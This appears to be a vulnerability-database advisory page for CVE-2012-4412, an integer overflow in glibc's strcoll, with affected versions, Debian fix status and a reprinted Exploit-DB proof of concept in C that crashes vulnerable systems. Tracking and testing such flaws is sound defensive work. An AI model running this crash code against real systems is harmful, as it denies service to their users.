CVE-2012-4412

high
Published 2013-10-09 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.5

Description

Integer overflow in string/strcoll_l.c in the GNU C Library (aka glibc or libc6) 2.17 and earlier allows context-dependent attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long string, which triggers a heap-based buffer overflow.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37783 dos linux verified c ยท 1 KB
Jan iankko Lieskovsky ยท 2012-09-07

GNU glibc - 'strcoll()' Routine Integer Overflow

c exploit Source: Exploit-DB
// source: https://www.securityfocus.com/bid/55462/info

GNU glibc is prone to a remote integer-overflow vulnerability which leads to buffer overflow vulnerability.

Successful exploits may allow an attacker to execute arbitrary code in the context of a user running an application that uses the affected library. Failed exploit attempts may crash the application, denying service to legitimate users. 

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE 429496730

int
main (void)
{
  char *p = malloc (1 + SIZE);
  if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL)
    {
      puts ("setlocale failed, cannot test for overflow");
      return 0;
    }
  if (p == NULL)
    {
      puts ("malloc failed, cannot test for overflow");
      return 0;
    }
  memset (p, 'x', SIZE);
  p[SIZE] = 0;
  printf ("%d\n", strcoll (p, p));
  return 0;
}

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.17-94
sid Fixed 2.17-94
forky Fixed 2.17-94
bullseye Fixed 2.17-94
bookworm Fixed 2.17-94

Application impact

VendorProductVersionsFixed
gnuglibc{"endIncluding":"2.17"}
gnuglibc2.0
gnuglibc2.0.1
gnuglibc2.0.2
gnuglibc2.0.3
gnuglibc2.0.4
gnuglibc2.0.5
gnuglibc2.0.6
gnuglibc2.1
gnuglibc2.1.1
gnuglibc2.1.1.6
gnuglibc2.1.2
gnuglibc2.1.3
gnuglibc2.1.9
gnuglibc2.10.1
gnuglibc2.11
gnuglibc2.11.1
gnuglibc2.11.2
gnuglibc2.11.3
gnuglibc2.12.1
gnuglibc2.12.2
gnuglibc2.13
gnuglibc2.14
gnuglibc2.14.1
gnuglibc2.15
gnuglibc2.16

References

CWEs

CWE-189

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.